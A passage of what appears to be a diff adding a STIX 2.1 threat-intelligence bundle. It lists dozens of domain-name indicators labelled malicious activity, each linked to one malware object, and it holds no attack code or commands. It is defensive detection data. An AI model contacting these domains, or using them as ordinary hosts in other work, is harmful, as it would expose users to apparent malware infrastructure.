"source_ref": "indicator--20bcafd9-4f22-4f6e-b1b4-0f041b2dbe09", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d6b649f-3621-4fac-b81a-f155381d3be0", + "created": "2023-03-29T12:58:43.447938Z", + "modified": "2023-03-29T12:58:43.447938Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='apcdlords.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.447938Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7a92a7c6-fff3-4d3e-8a50-291ab7f8fa03", + "created": "2023-03-29T12:58:43.448673Z", + "modified": "2023-03-29T12:58:43.448673Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d6b649f-3621-4fac-b81a-f155381d3be0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--20faada8-3034-41c3-815e-0a0a96ee5889", + "created": "2023-03-29T12:58:43.448865Z", + "modified": "2023-03-29T12:58:43.448865Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='doseprewar.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.448865Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5881612c-76b0-4af7-af98-b4dca945a6fb", + "created": "2023-03-29T12:58:43.449497Z", + "modified": "2023-03-29T12:58:43.449497Z", + "relationship_type": "indicates", + "source_ref": "indicator--20faada8-3034-41c3-815e-0a0a96ee5889", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--89fc0cc2-4b1f-4b28-be3f-9673863b9955", + "created": "2023-03-29T12:58:43.449681Z", + "modified": "2023-03-29T12:58:43.449681Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bantervisor.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.449681Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16b263f2-24a7-4dd4-a0a4-833475ff0eb3", + "created": "2023-03-29T12:58:43.450307Z", + "modified": "2023-03-29T12:58:43.450307Z", + "relationship_type": "indicates", + "source_ref": "indicator--89fc0cc2-4b1f-4b28-be3f-9673863b9955", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d136bd03-80a3-4cab-bda2-66d9c3259119", + "created": "2023-03-29T12:58:43.450478Z", + "modified": "2023-03-29T12:58:43.450478Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='profanebrilliant.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.450478Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd2aeef4-e51e-4839-afa5-17a9f5d84120", + "created": "2023-03-29T12:58:43.451128Z", + "modified": "2023-03-29T12:58:43.451128Z", + "relationship_type": "indicates", + "source_ref": "indicator--d136bd03-80a3-4cab-bda2-66d9c3259119", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--782b543c-53f4-4348-8e99-f54684fe835a", + "created": "2023-03-29T12:58:43.451303Z", + "modified": "2023-03-29T12:58:43.451303Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lowerkitchen.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.451303Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c57ab9e1-2006-452d-8b83-074707354d47", + "created": "2023-03-29T12:58:43.451934Z", + "modified": "2023-03-29T12:58:43.451934Z", + "relationship_type": "indicates", + "source_ref": "indicator--782b543c-53f4-4348-8e99-f54684fe835a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e66d5c85-2e7e-4ee7-be14-ede87ef294f2", + "created": "2023-03-29T12:58:43.452105Z", + "modified": "2023-03-29T12:58:43.452105Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spreadhands.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.452105Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f022ea28-2cf2-45f5-9851-71164f8c0940", + "created": "2023-03-29T12:58:43.452728Z", + "modified": "2023-03-29T12:58:43.452728Z", + "relationship_type": "indicates", + "source_ref": "indicator--e66d5c85-2e7e-4ee7-be14-ede87ef294f2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07685c76-9c17-4c4d-9173-c00864fb4ffb", + "created": "2023-03-29T12:58:43.452899Z", + "modified": "2023-03-29T12:58:43.452899Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='omegasalad.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.452899Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61934974-74aa-44cf-b3ed-991b8fdadb4b", + "created": "2023-03-29T12:58:43.453528Z", + "modified": "2023-03-29T12:58:43.453528Z", + "relationship_type": "indicates", + "source_ref": "indicator--07685c76-9c17-4c4d-9173-c00864fb4ffb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--854a364e-5a21-4359-995d-3ae350e49cc5", + "created": "2023-03-29T12:58:43.453714Z", + "modified": "2023-03-29T12:58:43.453714Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='playingwincing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.453714Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--11412f9a-ed1d-4a34-9a38-bf6d531e4709", + "created": "2023-03-29T12:58:43.454347Z", + "modified": "2023-03-29T12:58:43.454347Z", + "relationship_type": "indicates", + "source_ref": "indicator--854a364e-5a21-4359-995d-3ae350e49cc5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a34be40-0f2c-4613-ada8-90a873bc0a12", + "created": "2023-03-29T12:58:43.454519Z", + "modified": "2023-03-29T12:58:43.454519Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='macarenarevenue.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.454519Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9b8b3c35-aa3b-4f3a-aaa5-be83cdf717e5", + "created": "2023-03-29T12:58:43.455156Z", + "modified": "2023-03-29T12:58:43.455156Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a34be40-0f2c-4613-ada8-90a873bc0a12", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e91411f1-e3a7-4091-b8ca-f5d1a4506c7b", + "created": "2023-03-29T12:58:43.455331Z", + "modified": "2023-03-29T12:58:43.455331Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skywardduke.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.455331Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--18df581a-8a63-45d5-abd2-aaa7a24bb842", + "created": "2023-03-29T12:58:43.456067Z", + "modified": "2023-03-29T12:58:43.456067Z", + "relationship_type": "indicates", + "source_ref": "indicator--e91411f1-e3a7-4091-b8ca-f5d1a4506c7b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--62427293-c72e-4cc9-8a9e-24bd8248bd42", + "created": "2023-03-29T12:58:43.456242Z", + "modified": "2023-03-29T12:58:43.456242Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gonadtree.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.456242Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--edbcfdb4-a4c3-4258-9aa9-3bee03a1fcd9", + "created": "2023-03-29T12:58:43.456862Z", + "modified": "2023-03-29T12:58:43.456862Z", + "relationship_type": "indicates", + "source_ref": "indicator--62427293-c72e-4cc9-8a9e-24bd8248bd42", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fe7e938-2aba-473c-a774-a50bd1c4b448", + "created": "2023-03-29T12:58:43.457033Z", + "modified": "2023-03-29T12:58:43.457033Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='limitsteering.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.457033Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d925839b-f7c4-4e87-8d7f-b1ac2719c425", + "created": "2023-03-29T12:58:43.457664Z", + "modified": "2023-03-29T12:58:43.457664Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fe7e938-2aba-473c-a774-a50bd1c4b448", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8f2e9f3-7bba-43ca-ab69-f7a7800a3d91", + "created": "2023-03-29T12:58:43.457875Z", + "modified": "2023-03-29T12:58:43.457875Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='erasabletarantula.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.457875Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2018cb8-db6a-451d-909f-308f0b6173f1", + "created": "2023-03-29T12:58:43.458507Z", + "modified": "2023-03-29T12:58:43.458507Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8f2e9f3-7bba-43ca-ab69-f7a7800a3d91", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7c9d93d-691f-48ce-95b8-bcc718cd6999", + "created": "2023-03-29T12:58:43.458679Z", + "modified": "2023-03-29T12:58:43.458679Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='strongboxerased.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.458679Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f33f62c-20eb-40f4-8060-fcd174dffcd2", + "created": "2023-03-29T12:58:43.459321Z", + "modified": "2023-03-29T12:58:43.459321Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7c9d93d-691f-48ce-95b8-bcc718cd6999", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ec03a050-5970-443d-a1fb-0a2af9d2f42c", + "created": "2023-03-29T12:58:43.459496Z", + "modified": "2023-03-29T12:58:43.459496Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unwiredworsening.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.459496Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--161ba22d-e931-4cf9-bea7-83f30445afcb", + "created": "2023-03-29T12:58:43.460172Z", + "modified": "2023-03-29T12:58:43.460172Z", + "relationship_type": "indicates", + "source_ref": "indicator--ec03a050-5970-443d-a1fb-0a2af9d2f42c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0732dab6-9dbf-4e81-8193-bac3eb110ad4", + "created": "2023-03-29T12:58:43.460349Z", + "modified": "2023-03-29T12:58:43.460349Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lankinesstranslate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.460349Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73e0f9e8-7765-474c-81be-f3510e050bec", + "created": "2023-03-29T12:58:43.460997Z", + "modified": "2023-03-29T12:58:43.460997Z", + "relationship_type": "indicates", + "source_ref": "indicator--0732dab6-9dbf-4e81-8193-bac3eb110ad4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--680f2d43-1185-4870-af05-44e0b26474a7", + "created": "2023-03-29T12:58:43.461173Z", + "modified": "2023-03-29T12:58:43.461173Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='imaginarydirection.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.461173Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bae802fb-a1d5-47c9-8e6f-9658b7c19eb4", + "created": "2023-03-29T12:58:43.461914Z", + "modified": "2023-03-29T12:58:43.461914Z", + "relationship_type": "indicates", + "source_ref": "indicator--680f2d43-1185-4870-af05-44e0b26474a7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ced7aba-2a46-4640-b9e1-de66a07f200a", + "created": "2023-03-29T12:58:43.462092Z", + "modified": "2023-03-29T12:58:43.462092Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='safehousesermon.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.462092Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5a0371b2-d55f-4a24-931c-edb6d7451e92", + "created": "2023-03-29T12:58:43.462726Z", + "modified": "2023-03-29T12:58:43.462726Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ced7aba-2a46-4640-b9e1-de66a07f200a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e810d8c3-4909-43cf-952e-08cdc36ae9d8", + "created": "2023-03-29T12:58:43.462901Z", + "modified": "2023-03-29T12:58:43.462901Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mondoveloce.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.462901Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--304b56c8-cac2-4ac2-8fec-a1cfe7277908", + "created": "2023-03-29T12:58:43.463634Z", + "modified": "2023-03-29T12:58:43.463634Z", + "relationship_type": "indicates", + "source_ref": "indicator--e810d8c3-4909-43cf-952e-08cdc36ae9d8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--44cd883d-5871-4f81-b9b5-ac6475ecef33", + "created": "2023-03-29T12:58:43.463811Z", + "modified": "2023-03-29T12:58:43.463811Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='improperzippy.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.463811Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--37b468b6-2170-4155-b72a-e148d4519609", + "created": "2023-03-29T12:58:43.464438Z", + "modified": "2023-03-29T12:58:43.464438Z", + "relationship_type": "indicates", + "source_ref": "indicator--44cd883d-5871-4f81-b9b5-ac6475ecef33", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e1d1d016-f9d5-429f-a54d-f0ece7207123", + "created": "2023-03-29T12:58:43.464611Z", + "modified": "2023-03-29T12:58:43.464611Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stillplusok.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.464611Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--447afcb0-57de-4fe8-bb23-168ec0941cfe", + "created": "2023-03-29T12:58:43.46523Z", + "modified": "2023-03-29T12:58:43.46523Z", + "relationship_type": "indicates", + "source_ref": "indicator--e1d1d016-f9d5-429f-a54d-f0ece7207123", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--782e0129-24ce-4d2d-95a9-b7882ce92947", + "created": "2023-03-29T12:58:43.465403Z", + "modified": "2023-03-29T12:58:43.465403Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='urbanhouseladder.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.465403Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a87cf052-6b4e-409f-ab98-18da70d69de5", + "created": "2023-03-29T12:58:43.46604Z", + "modified": "2023-03-29T12:58:43.46604Z", + "relationship_type": "indicates", + "source_ref": "indicator--782e0129-24ce-4d2d-95a9-b7882ce92947", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b1e1c5ea-9cf5-4c01-a89b-35c9ec013f42", + "created": "2023-03-29T12:58:43.466213Z", + "modified": "2023-03-29T12:58:43.466213Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='armadillovanish.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.466213Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aa446fa4-e198-457a-b213-592550ad4f5c", + "created": "2023-03-29T12:58:43.466838Z", + "modified": "2023-03-29T12:58:43.466838Z", + "relationship_type": "indicates", + "source_ref": "indicator--b1e1c5ea-9cf5-4c01-a89b-35c9ec013f42", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f675d0e5-b140-4739-970b-578e38b38086", + "created": "2023-03-29T12:58:43.467008Z", + "modified": "2023-03-29T12:58:43.467008Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='agreedflatfoot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.467008Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b8bee3a-0736-4217-9a37-b98daed8aa86", + "created": "2023-03-29T12:58:43.467632Z", + "modified": "2023-03-29T12:58:43.467632Z", + "relationship_type": "indicates", + "source_ref": "indicator--f675d0e5-b140-4739-970b-578e38b38086", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e8a5fb6e-557c-4cde-b096-6f782ce6a7fc", + "created": "2023-03-29T12:58:43.467803Z", + "modified": "2023-03-29T12:58:43.467803Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='click-grid.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.467803Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ee947159-e582-4095-9105-c307dcf150e7", + "created": "2023-03-29T12:58:43.468428Z", + "modified": "2023-03-29T12:58:43.468428Z", + "relationship_type": "indicates", + "source_ref": "indicator--e8a5fb6e-557c-4cde-b096-6f782ce6a7fc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f4f3d657-dd72-4965-ae73-16e4719bf7c4", + "created": "2023-03-29T12:58:43.4686Z", + "modified": "2023-03-29T12:58:43.4686Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rustingcase.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.4686Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80e927ae-2af4-409d-9007-083243320332", + "created": "2023-03-29T12:58:43.469222Z", + "modified": "2023-03-29T12:58:43.469222Z", + "relationship_type": "indicates", + "source_ref": "indicator--f4f3d657-dd72-4965-ae73-16e4719bf7c4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c041ce4d-0b1c-4c5a-ac79-95c4715b6409", + "created": "2023-03-29T12:58:43.469393Z", + "modified": "2023-03-29T12:58:43.469393Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='improvingvoicing.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.469393Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a6957b67-33b7-4c0b-ab17-3e7825ed525b", + "created": "2023-03-29T12:58:43.470035Z", + "modified": "2023-03-29T12:58:43.470035Z", + "relationship_type": "indicates", + "source_ref": "indicator--c041ce4d-0b1c-4c5a-ac79-95c4715b6409", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--27dc8dff-e772-4370-a5d8-c39e981593ea", + "created": "2023-03-29T12:58:43.470224Z", + "modified": "2023-03-29T12:58:43.470224Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vertigoreviver.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.470224Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f67549e-c207-451e-a63d-4814fffc48c7", + "created": "2023-03-29T12:58:43.471413Z", + "modified": "2023-03-29T12:58:43.471413Z", + "relationship_type": "indicates", + "source_ref": "indicator--27dc8dff-e772-4370-a5d8-c39e981593ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--67da4114-5f3b-4a24-9c5a-7f6ee511ef1e", + "created": "2023-03-29T12:58:43.471593Z", + "modified": "2023-03-29T12:58:43.471593Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ontheplayart.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.471593Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b694cfa9-d4ba-4a22-815c-9d1350428464", + "created": "2023-03-29T12:58:43.472232Z", + "modified": "2023-03-29T12:58:43.472232Z", + "relationship_type": "indicates", + "source_ref": "indicator--67da4114-5f3b-4a24-9c5a-7f6ee511ef1e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef5d8ef5-ebff-496f-8327-fe92e76b1376", + "created": "2023-03-29T12:58:43.472409Z", + "modified": "2023-03-29T12:58:43.472409Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='superjethaphazard.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.472409Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d7f733f-bd7a-4e07-8758-ade31424f768", + "created": "2023-03-29T12:58:43.473047Z", + "modified": "2023-03-29T12:58:43.473047Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef5d8ef5-ebff-496f-8327-fe92e76b1376", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7cc268b-187c-45fd-9562-0519a03f9d62", + "created": "2023-03-29T12:58:43.47322Z", + "modified": "2023-03-29T12:58:43.47322Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guacamolemower.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.47322Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db8603dd-48f6-4a84-98d5-198876684737", + "created": "2023-03-29T12:58:43.473859Z", + "modified": "2023-03-29T12:58:43.473859Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7cc268b-187c-45fd-9562-0519a03f9d62", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e16dc87-90e9-4a02-9505-3291e7eb9962", + "created": "2023-03-29T12:58:43.474034Z", + "modified": "2023-03-29T12:58:43.474034Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uncloakcolt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.474034Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--54051ea9-3114-4bb2-b0eb-6e51849e62ce", + "created": "2023-03-29T12:58:43.474695Z", + "modified": "2023-03-29T12:58:43.474695Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e16dc87-90e9-4a02-9505-3291e7eb9962", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--544158a3-f36b-4226-b7e7-72d939570786", + "created": "2023-03-29T12:58:43.474873Z", + "modified": "2023-03-29T12:58:43.474873Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oncenot.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.474873Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8b0be09b-8438-4d47-9c6b-fb2d9a7bc03f", + "created": "2023-03-29T12:58:43.475489Z", + "modified": "2023-03-29T12:58:43.475489Z", + "relationship_type": "indicates", + "source_ref": "indicator--544158a3-f36b-4226-b7e7-72d939570786", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--27582099-4edc-45ff-a337-23524ed11c41", + "created": "2023-03-29T12:58:43.475665Z", + "modified": "2023-03-29T12:58:43.475665Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cartloadcraziness.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.475665Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dca67e11-6c3d-4ce7-8685-bd4990d71dbf", + "created": "2023-03-29T12:58:43.476296Z", + "modified": "2023-03-29T12:58:43.476296Z", + "relationship_type": "indicates", + "source_ref": "indicator--27582099-4edc-45ff-a337-23524ed11c41", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--929f2c70-5c7d-4460-8c99-de5158db2f36", + "created": "2023-03-29T12:58:43.476469Z", + "modified": "2023-03-29T12:58:43.476469Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eternityscrunch.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.476469Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45eccf02-d893-49cf-927f-33f1cfe1e482", + "created": "2023-03-29T12:58:43.477141Z", + "modified": "2023-03-29T12:58:43.477141Z", + "relationship_type": "indicates", + "source_ref": "indicator--929f2c70-5c7d-4460-8c99-de5158db2f36", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7d32419d-acd8-4166-b471-1b04ed67e8dc", + "created": "2023-03-29T12:58:43.477315Z", + "modified": "2023-03-29T12:58:43.477315Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drivablewrath.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.477315Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--287232cc-3076-4e0a-bc48-76cf1b8c5069", + "created": "2023-03-29T12:58:43.477945Z", + "modified": "2023-03-29T12:58:43.477945Z", + "relationship_type": "indicates", + "source_ref": "indicator--7d32419d-acd8-4166-b471-1b04ed67e8dc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--426ca0d1-1201-4659-9495-77cade2a9fdc", + "created": "2023-03-29T12:58:43.478119Z", + "modified": "2023-03-29T12:58:43.478119Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='packedlotion.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.478119Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7bde51e-0b20-4cb8-a18c-0102a40b1fa0", + "created": "2023-03-29T12:58:43.478743Z", + "modified": 